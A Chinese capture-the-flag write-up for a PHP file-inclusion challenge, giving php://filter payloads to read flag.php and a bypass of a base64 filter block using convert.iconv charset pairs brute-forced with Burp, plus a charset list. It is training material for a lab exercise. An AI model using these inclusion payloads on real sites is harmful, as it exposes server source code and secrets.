WEB:file_include

背景知识

php伪协议

文件包含漏洞

php包含漏洞函数

题目

由题目可知这个是文件包含的题目,先用常用的协议先查看一下

payload

复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

出现了

发现filter,base64被过滤了

尝试其他协议

根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convery.iconv.*的使用有两种方法:

复制代码
convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>

eg.convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出

这里并不清楚input-encoding和out-encoding具体是什么,可以简单猜想一下尝试,然后用bp抓包进行爆破

先设置尝试的payload

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

设置目标

iconv支持的字符集有

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

得到flag

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(file_include)-腾讯云开发者社区-腾讯云

攻防世界-泰山杯-简单的文件包含 -- ZZ的IT部落

相关推荐
乘风gg37 分钟前
还在养虾吗?虾王已诞生:微信龙虾 ClawBot
前端·ai编程·claude
小小小小宇1 小时前
LLM 长期记忆构建
前端
lichenyang4531 小时前
从 Express 老项目到 NestJS + Docker:一次车辆管理系统的渐进式重构
前端
Momo__2 小时前
VueUse createReusableTemplate —— 单文件组件内的模板复用神器
前端·vue.js
程序员小富2 小时前
我开源了一个开发者专属的智能 JSON 工具,得到了媳妇高度认可
前端·vue.js·后端
小小小小宇2 小时前
程序员如何给 LLM 装工具以及看懂推理过程
前端
写代码的皮筏艇2 小时前
React中的forwardRef
前端·react.js·面试
槑有老呆3 小时前
花三个月工资请了个 AI 程序员,结果它连青岛啤酒股价都查不了
前端
风骏时光牛马3 小时前
Verilog开发常见问题汇总解析
前端
子兮曰3 小时前
AI Coding Method Map:一张图看懂 AI 编程的完整链路
前端·人工智能·后端